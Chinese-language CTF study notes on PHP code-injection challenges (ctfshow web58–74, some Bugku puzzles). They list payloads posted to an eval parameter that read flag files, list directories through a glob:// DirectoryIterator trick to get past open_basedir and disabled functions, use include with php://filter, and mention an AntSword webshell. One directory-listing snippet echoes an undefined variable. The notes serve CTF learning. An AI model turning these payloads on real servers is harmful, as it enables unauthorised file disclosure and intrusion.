2021/7/9

命令执行

web58-63

image-20210709093745897

没有过滤但是有禁用函数

  • hackbar post data测试函数 可用有

    1
    2
    3
    - c=show_source('flag.php'); //读取文件
    - c=file_get_contents('flag.php');
    - c=highlight_file('flag.php'); //通用,没有被禁

    读取文件函数

    highlight_file($filename);
    show_source($filename);
    print_r(php_strip_whitespace($filename));
    print_r(file_get_contents($filename));
    readfile($filename);
    print_r(file($filename)); // var_dump
    fread(fopen($filename,”r”), $size);
    include($filename); // 非php代码
    include_once($filename); // 非php代码
    require($filename); // 非php代码
    require_once($filename); // 非php代码
    print_r(fread(popen(“cat flag”, “r”), $size));
    print_r(fgets(fopen($filename, “r”))); // 读取一行
    fpassthru(fopen($filename, “r”)); // 从当前位置一直读取到 EOF
    print_r(fgetcsv(fopen($filename,”r”), $size));
    print_r(fgetss(fopen($filename, “r”))); // 从文件指针中读取一行并过滤掉 HTML 标记
    print_r(fscanf(fopen(“flag”, “r”),”%s”));
    print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

  • include函数文件读取

    1
    url/?1=php://filter/convert.base64-encode/resource=flag.php
    • post data c=include($_GET[1]);

    • base64解码

  • 中国蚁剑通用 密码为c 直接读取文件

web66-70

flag不在flag.php里在flag.txt里

打开flag.php “别秀了,这次flag不在这

  • ```
    c=print_r(scandir(“/“)); //读取目录 或者用var_dump函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14

    > 读取目录
    >
    > print_r(glob("*")); // 列当前目录
    > print_r(glob("/*")); // 列根目录
    > print_r(scandir("."));
    > print_r(scandir("/"));
    > $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
    > $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
    > $a=glob("/*");foreach($a as $value){echo $value." ";}
    > $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

    - ```
    c=highlight_file('/flag.txt'); //读取文件 或者用include函数
web71

读取flag.txt “???????你要上天吗?”

  • 下载附件index.php

    image-20210709145558548

    直接中断eval()后续程序执行 否则字符会被换成 ?

    1
    c=include('/flag.txt');exit();
web72

image-20210709152849534

读取目录发现函数被ban 还有打开文件限制 因为有disabled-functions和open_basedir

  • open_basedir是php.ini中的一个配置选项

    它可将用户访问文件的活动范围限制在指定的区域,

    假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

    注意用open_basedir指定的限制实际上是前缀,而不是目录名。

    举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1”都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

  • disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空

  • 继续找没ban函数读取目录 然后读取 post data:

    1
    c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

    或者post data:

    1
    2
    3
    4
    5
    6
    7
    8
    c=$a="glob:///*.txt";        //打开根目录下所有txt文件
    if($b=opendir($a)){
    while(($file=readdir($b))!==false){
    echo"filename:".$filename."\n";
    }
    closedir($b);
    }
    exit();

    image-20210709154215227

    得到flag在flag0.txt里

    1
    c=include('/flag0.txt');exit();
    • 如果有open_basedir限制 脚本绕过file 用url编码
web73-74
  • 读取目录 查看flag文件名–> include文件

    ​ 73:flagc.txt 74:flagx.txt

bugku

web滑稽

直接查看源代码

web你必须让它停下

查看源码发现有自动刷新页面的函数

停下来就用抓包 一定有一个有flag的

web矛盾

1468796-20181129163944903-21726820

is_numeric:如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回空值,即 FALSE。

  • php是一种弱语言 所以只要可以输入一个字符串 1‘或者1x都可以